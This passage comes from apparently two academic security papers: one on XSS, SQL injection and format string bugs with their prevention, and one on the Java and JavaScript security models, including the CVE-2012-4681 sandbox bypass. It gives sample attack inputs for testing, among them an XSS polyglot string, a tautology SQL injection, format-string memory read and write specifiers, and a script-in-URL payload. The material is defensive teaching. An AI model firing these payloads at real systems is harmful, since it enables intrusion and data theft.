relies on the inappropriate handling of data of a HTML page due 

to its association with the Document Object Model file. The most 

popular objects in DOM which are able to generate XSS 

conditions are document.url, document.location and 

document.referrer.[15] DOM-Based XSS can be impossible for 

webservers to detect if proper evading techniques were 
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implemented by the attacker, this makes it only possible for the 

client side to detect the attack. 

3.1.2 Persistent XSS 
Persistent XSS, also known as stored or Type-I XSS attack [16]. 

Stored attacks are injected scripts which are store in the server, 

stored in the form of usernames, forum posts, comments and any 

other ways of storing fields. Stored XSS are permanently injected 

into the code of the site, so it is exposed to anyone who is viewing 

the page. 

3.1.3 Non-Persistent XSS 
Non-persistent XSS, also known as reflected or Type-II XSS 

attack [16]. As the term reflected suggests, webservers echo the 

infected script without performing validation checks, usually in 

the form of error messages, search results or any other form of 

response.  

3.2 Preventive measures 
All XSS attack infects web sites via user inputs, a responsible web 

developer should therefore be aware of any data coming into the 

server. The following string can be placed into input fields to 

check for XSS vulnerabilities by creating an alert pop up saying 

“XSS”: 

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCo

de(88,83,83))//"; 

alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCo

de(88,83,83))//-- 

></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)

)</SCRIPT>”,  

since some websites block the word XSS, we are using 

“String.fromCharCode(88,83,83))” instead which is the 

equivalent of “XSS, this string provides 5 type of attack at once, 

so it is an efficient to check for any of the available 

vulnerabilities. Char code is a simple form of character encoding 

that can encode block characters to get pass the protection but still 

display normally on webpages.  

3.2.1 Never insert untrusted data except in allowed 

locations 
Treat all user input as untrusted data, only allow user input when 

there is a need to. 

3.2.2 HTML escape before inserting untrusted data 

into HTML element content 
First of all, encode all <, >, ”, ’: 

 & to &amp; 

 < to &lt; 

 > to &gt; 

 ” to &quot; 

 ‘ to &#x27; 

 / to &#x2F; 

This will prevent any unwanted execution contexts. 

3.2.3 Attribute escape before inserting untrusted 

data into HTML common attributes 
Escape all characters with ASCII values less than 255 to &#xHH 

format, especially special characters including but not limited to: 

 Space to &#x20 

 % to &#x25 

 * to &#x2A 

 + to &#x2B 

 - to &#x2D 

 / to &#x2F 

 < to &#x3C 

 = to &#x3D 

 > to &#x3E 

 ^ to &#x5E 

 | to &#x7C 

3.2.4 JavaScript escape before inserting untrusted 

data into JavaScript data values 

The only safe place to put untrusted data into javascript codes is 

inside a quoted "data value", any other areas within javascript is 

easy to switch into an execution context. 

3.2.5 CSS(Cascading Style Sheets) escape and 

strictly validate before inserting untrusted data into 

HTML style property values 

CSS can be very powerful in attack, therefore we should stay 

away from putting untrusted data into complex properties 

including URL, behavior, and custom (-moz-binding)[17]. IE’s 

expression property value allows JavaScript to run, so we should 

not input data into the expression fields.  

3.2.6 URL escape before inserting untrusted data 

into HTML URL parameter values 
When inserting data into HTTP GET parameters, escape all 

ASCII values less than 256 in %HH format. Validate URL when 

there is a need to have them. 

3.2.7 Sanitize HTML markup with a library 

designed for the job 
As HTML is hard to check for when there is a need for user to 

input them, it is best to have a library to parse and clean the codes 

before executing them. 

4. SQL INJECTION 

4.1 Brief Introduction 
SQL injection is a code injection attack whereby malicious code is 

injected into a data driven application (any application that uses a 

SQL based database), and executed. It is a very common form of 

attack, with the average web application. It is also similar to XSS, 

with the key difference that XSS focuses on attack web scripts 

while SQL Injection targets backend database layer applications. 

4.1.1 How it works 
SQL injection happens when an attacker crafts a special string 

into an input field, such that the SQL formulated is interpreted 

differently from the application author’s intent. For example, an 

SQL query used to retrieve search results could be the following: 

 SELECT * FROM books where books.name = 
‘search entry’; 

In an SQL Injection attack, the attacker would craft the “search 

entry” term such that the query would perform actions apart from 

retrieving the search results. For example, by injecting  
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a’ or ‘a’ = ‘a  

into the search entry, the query formulated becomes: 

 SELECT * FROM books where books.name = 
‘a’ or ‘a’ = ‘a’; 

, which would retrieve all records from the table books. While his 

simple SQL Injection example causes minimal damage, other 

more sophisticated SQL injections could have more drastic 

consequences. 

 

4.1.2 Second Order Attacks 
Apart from Injection of SQL Queries to directly execute malicious 

code, attackers could also perform the second order attack. The 

malicious code in these attacks is not executed when it is first 

received. Instead, it is stored in the database, and executed the 

next time it is retrieved [22]. Vulnerabilities to these attacks are 

harder and more tedious to prevent. Developers usually assume 

that data retrieved from the database is secure, as it has already 

been checked and sanitized before it is entered into the database. 

This is not the case, as sanitization could still leave malicious 

code that could be executed after being stored in the database. 

4.1.3 Implications of an Attack 
An SQL injection attack could be used to retrieve privileged 

information, corrupt existing data, and in the most serious cases, 

allow the attacker to remotely execute malicious code (remote 

code execution) [23, 24]. It is also the precursor to a Cross-Site 

Scripting attack. 

4.1.4 Testing for detection 
There are many methods of SQL Injection detection methods. The 

following lists some of the most common methods. Do take note 

that these methods are detection methods, and not exploitation 

methods. The chief difference being that detection methods do not 

actually glean any data out of the injection. Rather, it just detects 

the presence of vulnerability to an SQL Injection. 

4.1.4.1.1 Error Based 
Error based testing attempts to generate errors in such a way that 

useful information is returned in the error message [25, 26]. This 

vulnerability is only present in applications that have verbose 

error reporting enabled [25]. To detect these vulnerabilities, the 

injected query would attempt to cause an error in the SQL query, 

and monitor the result. If descriptive error message appears, it 

would imply that the application is vulnerable. Special characters 

such as brackets, quotes and semicolons could be injected into the 

input to cause an error. Invalid type conversions could also be a 

way to generate an error. 

4.1.4.1.2 Boolean Based 
Boolean based testing attempts to modify the predicate for a 

query, and then monitor the result for any major changes. A 

baseline result is generated, usually by inserting a blank string 

into the input field, and compared with result from the injections. 

As the injections usually attempts to con the application into 

returning all values, if the return result is much larger than the 

baseline result, vulnerabilities may exist [25, 27]. 

4.1.4.1.3 Time based 
In all major database distributions, there are functions that will 

delay the execution of the query by a specified time. These time-

based tests attempts to inject a call to a delay functions, or 

alternatively, inject a data intensive and hence slow operation 

such as a union between 2 large tables. A baseline of time taken 

under normal input circumstances is recorded and compared with 

the time taken for each attack. If the time taken for an attack is 

much longer than the baseline, vulnerabilities may exist. Time-

based is however, not accurate as the time taken is affected by 

numerous factors, such as server-load and network load [25, 27]. 

 

4.1.5 Automated Black box Testing 
Many tools exists that would automatically test an Application for 

vulnerabilities to SQL Injection. Such tools usually have 

predefined payloads of injections [25], which it uses to test 

against the Application to detect vulnerabilities to SQL Injections. 

The tool will test the input channels of the Application using 

different kinds of attack methods to detect vulnerabilities to SQL 

Injection. Input channels are not limited to the input fields in the 

UI of the application. It includes hidden fields, and fields in the 

HTML header files of web applications. 

4.1.5.1.1 Drawbacks of Automated Testing 
Automated Black box testing suffers from several drawbacks. The 

art of automatically detecting vulnerabilities is not an exact 

science. False reporting of vulnerabilities may happen, and is 

often the case [25, 28]. Manual filtering is often required to access 

and filter the vulnerabilities reported by the automated tool [28, 

29]. Furthermore, when applications use non-standard exploit 

mitigation methods, automatic tools often fail to detect potential 

vulnerability, or report non-vulnerability as one [29].   

4.1.6 Manual Black Box Detection 
Automatic testing is still not as comprehensive and competent as 

an experienced “white Hacker”. Manual Black Box detection in 

the form of a non-malicious hacker is still required to detect some 

of the more elusive vulnerabilities. Some of the innovation and 

ingenuity behind the manual attacks is near impossible to be 

automated. These non-malicious hackers would attempt to attack 

the application, and then report any vulnerability to the developer. 

They are, however, not always available and willing to help test 

the application. 

4.1.7 Manual White box Detection 
An experienced security expert performing code review could 

analyze the way SQL queries are formulated in the source code to 

determine if the Application is vulnerable to SQL Injections [28]. 

Tell-tale signs such as not sanitizing user-input, direct formulation 

of queries by concatenation with user-input are easy to spot from 

within the source code. Furthermore, by having an understanding 

of how the queries are formulated and the structure of the 

database, a tester could formulate tests that target suspected 

vulnerabilities much more effectively. 

4.1.8 Prevention 
There are many ways to prevent SQL Injections. The most 

widespread and effective ways are listed below. 

4.1.8.1 Parameterized/Prepared statements 
All major database implementation supports a method of query 

execution called parameterized or prepared statements. Such 

statements are prepared before the inputs are supplied, and 

placeholder fields for the inputs are placed within the statement. 

The inputs are then bound to a placeholder and supplied to the 

database separately [22]. As the input from the user is separate 
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from the parsing of the query, injected code would never be 

parsed and executed [30].  

 

 

4.1.8.2 Sanitizing Inputs 
Inputs are sanitized, and all special characters are either rejected 

or escaped. Some special characters includes the quotes, 

semicolons, comment character such as #, --, ~ or slashes. Most 

database implementations also implement a sanitization function 

which could be utilized to sanitize inputs. Sanitizing inputs are, 

however not a foolproof method [31]. Second order injection 

attacks, could still happen if the data retrieved from the database 

is not sanitized again before use in another query. 

4.1.8.3 Validating Input types and length 
Inputs usually have an expected type, and a certain length limit. 

For example, a telephone number input should be numeric and of 

no more than 20 characters (depending on the area). By checking 

for validity of the input type and length and rejecting invalid 

inputs, the majority of SQL Injections attacks could be mitigated 

[30, 32]. 

4.1.8.4 Stored Procedure 
The previous 3 methods mentioned have a common and serious 

flaw: it relies on the diligence of the developer to implement the 

security measure every time a query is performed with input from 

the user [32]. As long as a developer neglects to perform his due 

diligence, the application would be left vulnerable to SQL 

Injections. A way to mitigate this problem would be to implement 

these security measures within Stored Procedures [30]. 

Developers using these secure Stored Procedure could then rely 

on the Stored Procedure to handle the security measures for them. 

4.1.8.5 Least permissions  
The database user that the application uses should have the least 

permissions required to execute its queries [32]. The user account 

for different security levels in the application should also be 

different [32]. For example, the user account used during login 

authentication, and the user account used after a user is 

authenticated should be different. The user account used during 

login authentication should also only have access to the tables 

required to perform authentication. In this way, even if an input 

channel in the application is vulnerable to SQL Injection attacks, 

the damage that is caused would be restricted.  

  

5. FORMAT STRING VULNERABILITY 

5.1 Brief Introduction 
A format function is a special kind of ANSI C function, which 

takes a variable number of arguments, from which one is the so 

called format string. While the function evaluates the format 

string, it accesses the extra parameters given to the function. It is a 

conversion function, which is used to represent primitive C data 

types in a human readable string representation. They are used in 

very commonly in C programs, to output information, print error 

messages or process strings. [33] For example: 

char name[10] = “JJ”; 

 printf(“my name is %s\n”, name); 

The output of the program is: “my name is JJ” 

Format string is a specifier which tells the program the format of 

the output. There are several format strings that specify the output 

in C and many other programming languages but our focus is on 

C. 

Table 1. Format string example 

Format String Output Usage 

%d Signed decimal 

integer 

Output decimal 

number 

%s String of characters Reads string from 

memory 

%x Unsigned 

hexadecimal integer 

Output 

Hexadecimal 

Number 

%n The number of 

characters written 

so far is stored in 

the pointed 

location. 

Writes the number 

of bytes till the 

format string to 

memory 

 

5.2 Vulnerability Explained 
If an attacker is able to provide the format string to an ANSI C 

format function in part or as a whole, format string vulnerability is 

present. By doing so, the behavior of the format function is 

changed, and the attacker may get control over the target 

application. Format strings vulnerability exists in most of the 

“printf” function family including: fprintf, printf, sprint, snprintf, 

vfprintf, vprintf, vsprintf, vsnprintf. 

In the examples below, the string “user” is supplied by the user or 

attacker — he can control the entire ASCIIZ-string, for example 

through using a method parameter. 

int func (char *user){ 

printf (user); 

} 

5.2.1 Crashing the program 
A simple attack using format string vulnerabilities is to make the 

program crash. With format strings we can easily trigger some 

invalid pointer access by inserting a format string like:  

printf ("%s%s%s%s%s%s%s%s%s%s%s%s"); 

Format string ‘%s’ displays memory from an address on the stack, 

where a lot of other data are stored. Hence, there are the chances 

to read from an illegal address which is not mapped and cause the 

program crash. 

5.2.2 Retrieving the program memory 
If the program returns the output of the format string function, we 

can obtain useful information from it. For example, we can show 

the data in the stack memory by using a format string like this: 

printf ("%08x.%08x.%08x.%08x\n"); 

This input instructs the “printf” function to retrieve four 

parameters from the stack and display then as 8-digit hexadecimal 

numbers. So a possible output: 

acb1245b.21687316.ffff1123.ccc87941 

This is the data of the stack memory starting from the current 

bottom upward to the top of the stack (assuming the stack grows 

upwards). The stack memory gives the important information 
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about the program flow and local function variables. It might also 

helpful in finding the offsets for a successful exploitation. 

In addition, it is also possible to peek at a memory location other 

than stack memory. To do this, we need to get the format string 

function to display the memory from an address we entered.  

5.2.3 Overwriting of arbitrary memory 
The format string ‘%n’ stores the number of characters written so 

far into the integer indicated by the corresponding argument. [34] 

 int i; 

 printf(“12345%n”, &i); 

The code above causes printf() to write “5” into variable “i”. The 

attack could replace the address of variable “i” with address he 

like to modified and overwrite the value. 

By using this attack, the hacker can overwrite important program 

flags that control access privileges or overwrite the return 

addresses on the stack, function pointers, etc. 

 

5.3 Testing for Format String Bug 

5.3.1 Black Box Testing 
The key to testing format string vulnerabilities is supplying format 

type specifiers in application input. The tester should create 

various test cases such that the test suite covers all the format 

string vulnerabilities for unusual output. For example, consider an 

application that processes the URL string: 

 http://xyzhost.com/html/en/index.htm  

and contain input fields. If format string vulnerability exists in one 

of the routines processing this information, supplying a URL like: 

http://xyzhost.com/html/en/index.htm%n%n%n 

and passing %n in one of the input fields might crash the 

application creating a core dump in the hosting folder.  

5.3.2 Grey Box Testing 
Nearly all the format string vulnerabilities can be detected by 

using the static code analysis tools. For example, a static code 

analysis tool, ITS4 can be utilized to analyze the format string 

vulnerability of the program. The figure below shows the example 

output of the ITS4: [35] 

 

Figure 1 . ITS4 output 

The functions that are primarily responsible for format string 

vulnerabilities are ones that treat format specifiers as optional. 

Therefore when manually reviewing code, emphasis can be given 

to functions such as: fprintf, printf, sprint, snprintf, vfprintf, 

vprintf, vsprintf, vsnprintf. There can be several formatting 

functions that are specific to the development platform. These 

should also be reviewed for absence of format strings. [35] 

5.3.3 White Box Testing 
Format string vulnerabilities exist due to improperly escaped user 

inputs that are passed to a function which uses string formatters. 

Therefore, it is important to test input parameters for all functions 

are free from format string vulnerabilities (method coverage).  

5.3.4 Prevention 
There are many techniques, tools and research discussed about 

how to solve the format string bug. We chose 3 different methods 

which tackle the format string bug with different approaches. 

First, address randomization handles the vulnerability at system 

level. Second, white-listing handles the vulnerability during run-

time. Third, FormatGuard handles the vulnerability during 

compile time. 

5.3.4.1 Address randomization 
Similar to the countermeasures used to protect against buffer-

overflow attack, address randomization makes it difficult for the 

attackers to find out what address they want to read/write. 

5.3.4.2 White-Listing 
White listing is a method that was proposed Michael F. 

Ringenburg and Dan Grossman to detect format string attacks 

during runtime. This method focuses specifically on writing to 

arbitrary memory addresses attacks using the ‘%n’ specifier. 

White listing is a technique to control memory modification by 

format functions. A list of address range that can allow memory 

modification is stored explicitly. This list is referred to as the 

white list. During runtime, this technique inserts and removes 

address ranges to and from the white list. Hence, a format 

function can check with the white list to verify whether a valid 

integer pointer is being written to. In other words, white-listing is 

dynamic and allow the changes during the runtime is desired. [36] 

5.3.4.3 Format Guard 
FormatGuard is a small patch to glibc that provides general 

protection against format bugs. FormatGuard uses a variation on 

argument counting. Instead of trying to do argument counting on 

varargs, Format-Guard uses particular properties of GNU CPP 

(the C PreProcessor) macro handling of variable arguments to 

extract the count of actual arguments. The actual count of 

arguments is then passed to a safe printf wrapper. The wrapper 

parses the format string to determine how many arguments to 

expect, and if the format string calls for more arguments than the 

actual number of arguments, it raises an intrusion alert and kills 

the process. [37] 

However, FormatGuard requires programs to be compiled using 

glibc with FormatGuard for the safety checks to take place. This is 

a considerable limitation as for most programs only their 

executables are available. Hence, FormatGuard is useful to 

programs that have its source code available.  

Moreover, it is possible for a program that calls a format function 

to bypass the safety check performed by FormatGuard. For 

example, if a program saves the address of the format functions 

into a variable and make an indirect call via the function pointer. 

In this case, the FomatGuard mechanism is disabled. This 

problem can be overcome with the aid of binary analysis tools. 

Instead of intercepting format functions, it might be more useful 

to intercept the calls to specific addresses referring to format 

functions at runtime. If the address matches a format function then 
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the checks can be carried out on the arguments. However, binary 

analysis tools can increase the overhead significantly. [38] 

6. CONCLUSION 
As we have seen, for each type of vulnerabilities, there are 

multiple ways to exploit and hack into a software. It is tedious but 

necessary work to consistently safeguard a program to preserve its 

integrity and also the integrity and confidentiality of the 

information that it contains. 

The fact is the technology security arms race has no end in sight, 

there will always be hackers trying to exploit systems while 

software designers initiate ways to protect systems against 

hacking.  

Software designers need to consistently test systems for potential 

vulnerabilities and resolve issues before they become a threat to 

the software system. At the same time, prevention measures are 

also required to ward off against known attacks that have been 

successfully used to attack software programs. 
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ABSTRACT 

In this paper, we introduce and explores the different areas of Java 

and JavaScript/ECMAScript and their respective security models. 

This paper will also cover some recent case studies and look into 

preventive measures to reduce such attacks. 

Categories and Subject Descriptors 

D.4.6 [Security and Protection]: Access Controls, Information 

Flow Controls, Invasive Software 

General Terms 

Security 

Keywords 

Java, JavaScript, ECMAScript, Security Models. 

1. INTRODUCTION 
Both Java and JavaScript have been around for a significant 

amount of years, that until now, they are the most widely used 

language. They are also some of the easiest languages to learn, 

and to be implemented ranging from small to large scale 

applications. With their wide amount of usage, constant 

improvements to their design, particularly security model, have to 

be made so as to ensure that existing applications are up to date 

and are not susceptible to existing attacks. 

2. JAVA 

2.1 Overview 
Java have been around for almost 20 years, and it is widely being 

used as one of the main programming language.  It is modeled 

closely against C and C++, which are also a predominant 

language since more than 40 years ago. It follows object-oriented 

and class-based programming style. May of the security flaws in 

C/C++ were addressed in Java, but there are still various issues 

that exists as Java inherit such design, including its flaws, from C 

and C++. 

Their slogan, which is “Write Once, Run Anywhere” (WORA) 

allows Java programs that were compiled on one particular 

machine, to be able to run the same program on any other 

machine variants. They are able to achieve this by implementing 

another additional layer of interpreter running on top of various 

OS (Windows, OS X, Linux, etc.) which is called Java Virtual 

Machine (JVM). 

This JVM acts as an interface that runs in between the user and 

system. Even though such implementation requires additional use 

of system resources, JVM provide a variety of improved design, 

which includes improvements to the security of programs, users 

and system. 

Unlike C++ programs, Java programs are executed within a 

sandbox in JVM. This Virtual Machine (VM) design incorporate 

strong security features as Java programs are unable interact with 

user’s files, OS’s functions and other things outside the sandbox 

directly. Java performs various checks on memory usage during 

compilation and runtime, and JVM will enforce such restriction so 

as to prevent any leakage or overflow. 

2.2 Security Features 
Java’s security model mainly focuses on protecting users and 

clients from malicious Java programs that were copied from 

untrusted source. It helps to achieve this by running all Java 

program within JVM, which acts as a sandbox[4]. 

JVM implements a fail-safe defaults whereby all access to local 

system are denied unless permissible. This allows Java programs 

to run safely within their respective sandbox, and prevent 

malicious Java programs from corrupting other Java programs 

and/or local system. Sandboxing also protects Java programs from 

other malicious programs that were executed under local 

environment. 

In order for Java programs to communicate with the environment 

outside their respective sandboxes, these programs will have to go 

through a set of explicit permission, which the sandbox will then 

strictly allow or disallow. This design provide value add to 

security, but sacrifice program’s flexibility and interoperability as 

all features that requires direct interaction with the local system 

are disabled by default. 

Moving away from local Java applications, web-based Java 

application (Java applet) have relatively higher security issue as 

these applications are meant to be transferred from the server to 

any connected clients. These codes will then be executed on each 

client. Without strong security, malicious Java programs will 

harm all clients that execute these copied programs and it may 

spread much faster to other clients across the network. 

Java applets are executed in a similar sandbox environment within 

JVM, but with a stricter set of permissions. Some example of fail-

safe defaults for Java applets is by disallowing read/write to local 

system and connecting to new network other than the program 

originate. These defaults prevent potential viruses that were 
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programmed in Java language, to be executed within connected 

clients and spread throughout the network.  

This sandbox model does not only improves security, but also 

allows clients to welcome untrusted Java programs and execute 

these unknown programs without worrying about any potential 

damage to be done to their system. This eliminates trust issues, 

and allows users to test various Java programs safely.  

There are several security mechanisms in JVM that uphold its 

security strength. One such example is that JVM ensures Java 

programs can only cast data to valid ones. Without checking for 

the safety of casting, it may corrupt program’s data in memory 

and likely to crash Java programs. This is a form of security 

breach as crashing a program on purpose can be regarded as 

Denial of Service (DoS). One such example of DoS is that server, 

that uses Java as their back-end engine, is unable to cater 

information to clients as their programs have crashed. 

JVM also ensures that programs can only access arrays within 

their respective boundaries. JVM performs array boundary checks 

as to prevent exploited Java programs from executing malicious 

codes that resides in system memory, but outside their boundaries. 

Such boundary checking will prevent buffer overflow attacks. 

Another security feature that is present in JVM, but not present in 

various OS (e.g. Windows XP) is that Java programs are 

randomly stored in the memory. Hence, these programs will have 

dynamic memory addresses. Java stacks, which are used to run 

Java programs, will only be placed in the memory and assigned a 

memory address during runtime. Objects created within the 

programs will also be placed randomly within the memory. 

This security feature prohibits a potential hacker to view the class 

file of Java programs and predicts where the program may reside 

during execution. This greatly reduce the chance of buffer 

overflow, whereby a malicious Java program can be set up at a 

known memory address within the system, and exploiting other 

Java programs that is running to perform a buffer overflow and 

point to the malicious program and run it. 

Such security features that are implemented in JVM made Java 

programs stronger and more robust. But, as the saying goes, “A 

chain is only as strong as its weakest link”. Within Java’s security 

architecture, the most secured feature is as strong as its weakest 

point. Java users have to fully trust Java’s sandbox model as it is 

the only security layer that prevents any malicious activities from 

being executed outside the program’s environment. Continual 

assessment of JVM have to be made so as to prevent any leakage 

through the sandbox, as malicious Java programs may exploit 

such weak areas and performs malicious activities outside its 

supposed boundaries.  

2.3 Weaknesses 
Various security organization and website such as United States 

Computer Emergency Readiness Team (US-CERT)[6] and 

Common Vulnerabilities and Exposures (CVE)[9] pro-actively 

anticipate and record cyber security issues, which includes Java 

security flaws.  

 

 

Figure 1: CISCO 2014 Annual Security Report  

- Percentage of Compromise (Figure 12) 

 

CISCO has also made an annual security report in the year 2014, 

whereby 91% of accounted cyber-attacks in 2013 were targeted at 

Java[9]. Such vast amount of discovered vulnerabilities requires 

huge effort to fix as Java is widely used throughout the world and 

they have to ensure that their fixes are compatible with different 

system variants, and able to disseminate such fixes swiftly. 

Java has recorded countless amount of discovered vulnerabilities, 

but also provides a fix with every Java update. Oracle, which is 

the company that owns Java, closely monitors these vulnerabilities 

and provides fixes with their latest patches. Oracle had also done 

their best to release hotfixes for zero-day exploits that are 

considered to be high profile.  

Many of Java security strength can be considered as its weakness. 

One such example is that Java disallowed local file access without 

explicit permission, by default. This can be considered as a 

weakness as legit application that would like to access local data 

so as to enhance user’s experience, are now disallowed. This 

create problem for novice computer users as they have to 

explicitly allow or disallow such permission. Further weaknesses 

shall be demonstrated within the case study below. 

2.4 Exploited 
Java software is widely used, and provides extra functionality in 

web browsers by providing cross-platform code that in theory 

reduces the need to write specific code for Windows or Apple’s 

Mac OSX. First spotted by FireEye’s Malware Intelligence Lab, 

the introduction of Java 7 Update 6, on 14th August 2012, led to 

the discovery of a new zero day vulnerability, labeled as CVE-

2012-4681. This exploit allows remote attackers to execute 

arbitrary code via a crafted java applet that bypasses security 

manager restrictions without any user interaction, by using a bug 

that was already introduced in Java 7 released in 28th July, 2011. 

This vulnerability does not corrupt the memory but merely 

bypasses Java’s security by running untrusted code outside the 

sandbox. 

Oracles “Secure Coding Guideline” provides a comprehensive 

guideline in secure Java coding [11]. (Guideline 9-1) Although 

Java is an object-oriented language, a stack-based access control 

mechanism is used to securely provide more conventional APIs. 

Many operations in java perform permission checks and are stored 

296



in call stacks before execution. If any callers in the stack do not 

have the required privileges an exception is raised.  

Immunity Products have made a detailed analysis on the 

exploit.[12] The vulnerability exists in the new Java 7 class 

com.sun.beans.finder.ClassFinder[13], which makes it possible to 

obtain a reference to the sun.awt.SunToolkit[14] class. The Sun 

Toolkit class is stored in Java’s restricted packages which is part 

of Java’s security implementation and untrusted code are not 

allowed access or to be able to call it. However the vulnerability 

allows the attacker to obtain the reference. It is then used to 

invoke the public getField method inside the class to access and 

modify private fields, which store the permissions for running a 

java.beans.Statement. The permissions stored in that field are 

overwritten with permissions that allow running all code; any 

malicious code can leverage the use of that statement to bypass 

Java’s security manager. At this point the malicious applet can do 

anything it wants to the affected computer. 

A simple scenario explaining how this attack is executed is as 

follows. Let’s say Bob receives an email claiming that he won a 

million dollars and was told to click on a particular link. Being 

naïve, Bob clicks on the link, and he also happens to have Java 

Update 6 installed. Upon accessing the malicious site, a java 

applet is sent to him in the background and automatically 

executes. Bob’s computer is now infected and the attacker can do 

anything he wants to Bob’s computer. 

A fix for the vulnerability has been addressed as at the time of 

writing this paper. Everyone using an older version of Java is 

recommended to update to the latest version. 

3. JAVASCRIPT 

3.1 Overview 
Since appearing around 19 years ago, under the name Mocha, 

JavaScript has grown to be one of the most commonly used 

programming/scripting language that runs mainly on web 

browsers. JavaScript has allowed increased user interactivity 

between web pages and users, allowing them to communicate with 

the servers, i.e. AJAX (Asynchronous JavaScript and XML) and 

interact with elements on the web pages [15]. 

JavaScript was formalized in ECMAScript language, which is the 

language most used for web scripting, and many libraries, VMs 

and scalable web platforms such as Node.js were built on top of 

JavaScript to enhance the usability and extend the functionalities 

of JavaScript. 

Though having similar names, JavaScript has no direct relation 

with Java, as opposed to the mindset of many people. The only 

common features shared by both languages are their sandbox 

environment and basic libraries and naming conventions. Other 

than that, they are quite different, considering Java is using static 

typing, where variables are typically fixed to their types they are 

declared in while JavaScript uses dynamic typing, with its 

variables being able to be assigned objects of varying types. 

3.2 Security Features 
JavaScript makes use of Document Object Model (DOM) [16] to 

access elements of the web page, and to interact with data and the 

document itself. Although this gives JavaScript some form of 

model of the web page to work with, it also introduced many risks 

for end users who may be targets for malicious hacking activities. 

To counter this threat, JavaScript utilizes two main forms of 

security features namely, sandboxing and making use of same 

origin policy [17]. 

JavaScript on browsers makes use of sandboxing and only allows 

very limited actions to perform in their sandbox environment. By 

implementing this environment, users will be relieved to know 

that scripts can run safely on their machines without having to 

fear malicious scripts causing harm to the computer [18]. This 

sandbox environment can also allow developers to develop and 

test scripts safely by restricting resources that the script will be 

able to access. Scripts that do need additional access permissions 

will need to be granted access by users, so this allows the users to 

know exactly what permission and what actions the script is about 

to perform and access. 

Secondly, JavaScript makes use of same origin policy, where 

scripts running on pages are prohibited access to scripts running 

on other web servers. This policy makes use of Uniform Resource 

Identifier scheme, host name and port number to determine the 

source of the script, allowing scripts from the same origin to 

interact with each other without difficulties, at the same time, 

preventing access to DOM from external sites other than the 

source itself. 

This prevents the leaking of cookies and data parameters from 

being picked up by a third party script. (i.e. User is logged in on 

webpage A, and also accessing webpage B; Webpage B’s 

JavaScript requests a session cookie, but received user’s 

information on webpage A instead.) This form of security is 

particularly important in modern web applications as most of the 

web pages make use of HTTP cookies and information passing via 

JavaScript and DOM. 

3.3 Weaknesses 
As JavaScript executes on client side, there is bound to be security 

issues where malicious scripts are embedded on the web page 

itself, and subsequently downloaded and executed by users, 

affecting their own client machines. One such attack is the Cross 

site scripting (XSS) attack, which bypasses the same origin policy 

as the script is served to the user by the actual origin server itself. 

This attack is still considered one of the most frequent and 

dangerous browser attacks using JavaScript as shown in the 2013 

top 10 vulnerabilities list (Appendix A : Figure 2)[19]. 

Browser and incompatible browser add-ons may also cause 

JavaScript to run incorrectly due to the script running on client 

side. Although running on client side is simpler and less taxing on 

the server load, not all scripts can be run with the intended results, 

and may cause incorrect information passing to the different 

components of the web page. Server side scripts are still the way 

to go for producing consistent outputs, rather than client side 

scripts such as JavaScript, which places emphasis on user’s 

browser configuration to process intended inputs and outputs 

properly. 
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3.4 Exploited 
It is almost impossible nowadays to operate a website without the 

usage of JavaScript, due to its ease of use, flexibility and power. 

In fact, unlike Java applets, programs written in JavaScript do not 

need to be pre-compiled, do not require any plugin installation, it 

can be tested easily and quickly. As of writing this paper, 100 out 

of 100 most visited websites according to Alexa [21], uses 

JavaScript for client side programming.  

A typical example of a DOM XSS attack is as follows. The 

screenshot below is the HTML page of a basic website that 

provides users with customized content depending on the user 

name encoded in the web browser’s URL and uses their name on 

the resulting page. 

 

The result of [www.somewebsite.com/page.html?context=BOB] 

would be a customized page, containing the string “Main 

Dashboard for BOB” at the top of the page. A malicious script can 

be embedded into the URL as follows:  

[www.somewebsite.com/page.html?context=<script>someFunctio

n(someVariable)</script>]. When the attacker executes that URL, 

he will send a HTTP request to the web server, receiving a static 

HTML page described above and builds the DOM of the page and 

populates it with the document.URL property of the document 

object from the malicious script.  

In this way the attacker is able to find out any sensitive 

information about the web server entirely from the client side, 

provided the web server did not do any input or URL sanitization. 

In more complex cases the attacker may attach a payload into the 

URL and it may get uploaded to the web server, thus causing 

serious damage to the web server. 

A DOM XSS attacks is difficult to detect by server-side attack 

detection and prevention tools, because the malicious payload 

usually does not get to the server and hence cannot be sanitized in 

server-side code. Therefore input sanitization and verification has 

to be performed on the client side. A few common defense 

methods are: 

 Sanitization of client side code by securely handling 

references to DOM objects. 

 Avoid the use of client-side data rewriting or 

redirection. 

 Using intrusion prevention systems on the server side, 

which are able to inspect inbound URL parameters and 

prevent the inappropriate pages to be served. 

To test the effectiveness of such defenses will require the web 

administrator or some third party trusted vendor to manually 

attempt to exploit them, or using automated penetration testing 

tools.  

 

 

 

4. SECURITY SURVEY 
We have conducted a survey among computing students that have 

a prior knowledge of at least one programming language. The 

results (Appendix B) clearly show that Java is the most used 

language throughout, followed by JavaScript. This allows us to 

deduce that they have learnt such language due to easiness to 

learn and adapt, and their similarity in syntax. 

Java and JavaScript should not be directly compared due to their 

difference in nature. Java is more targeted into any applications 

that heavily depend on Object Oriented model, but JavaScript is 

mainly for web-based client-side application. 

Even though they are different, they share a similar sandbox 

security model. From the survey, 50% of the respondents believe 

that Java security model is rated at 4 out of 5 in security wise, and 

45% of the respondents rates that Java’s security performs better 

compared to other programming languages. This might not be 

entirely true, as the case study and various security organization 

suggests that Java had countless known flaws, and is still 

struggling to patch known problems up to date. 

65% of the respondents believes that JVM somewhat adds 

security, but also introduce other problems. This may be true, as 

JVM provides a sandbox model, but also restrict access to local 

data and may suppress user’s interactivity. 

The survey results suggest that people does not favor JavaScript 

security as much. Their respond in rating JavaScript security 

model is from average to below average. This may not be entirely 

true, as even though JavaScript performs well on client side, it is 

still secure but instead being abused by hackers such as using 

Cross Site Scripting (XSS).  

In comparison with Java and JavaScript security model, 45% of 

them rates that Java is more secure, and 30% of them rates 

JavaScript is more secure. This is a fair mix, but Java seems to be 

in favor. Such perception among the respondents truly shows that 

even though Java have a fair share of security problems, the 

public still believes that Java performs better in security context. 

This is not true at all, as various organizations and our case study 

does show that Java still has a vulnerability that is much more 

serious compared to JavaScript. 
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5. CONCLUSION 
Both Java and JavaScript have been in most part of the modern 

computer history, and have made significant progress throughout 

its history. 

Even though Java have been known to have strong security 

model, it is still considered to be the most vulnerable 

programming language in recent years. May recent attacks on Java 

shows that Java is still weak in security aspect, and it requires 

various patches so as to keep up with known attacks. 

